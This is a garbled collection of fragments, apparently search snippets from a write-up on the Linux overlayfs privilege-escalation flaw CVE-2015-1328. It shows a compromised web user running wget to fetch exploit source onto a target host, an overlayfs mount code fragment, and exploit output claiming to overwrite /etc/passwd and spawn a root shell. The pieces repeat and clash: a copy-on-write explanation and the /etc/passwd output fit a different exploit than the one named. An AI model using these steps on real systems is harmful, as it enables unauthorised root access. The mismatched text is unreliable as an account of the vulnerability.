www-data@target:~$ wget http://exploit-db.com/raw/37292.c -O ofs.c
char opts[256]; snprintf(opts, sizeof(opts), "lowerdir=%s,upperdir=%s,workdir=%s", lower, upper, work); mount("overlay", merged, "overlayfs", 0, opts); linux 3.13.0-32-generic exploit
: In Linux, when multiple processes share the same memory page, the kernel uses "Copy-On-Write." If a process tries to write to a shared page, the kernel creates a private copy for that process. www-data@target:~$ wget http://exploit-db
CVE-2015–1328: Linux Privilege Escalation | by Emil Gallajov : In Linux
./exploit Spawning threads... Ready! [+] Overwrite succeeded in /etc/passwd [+] Ready to spawn shell as root.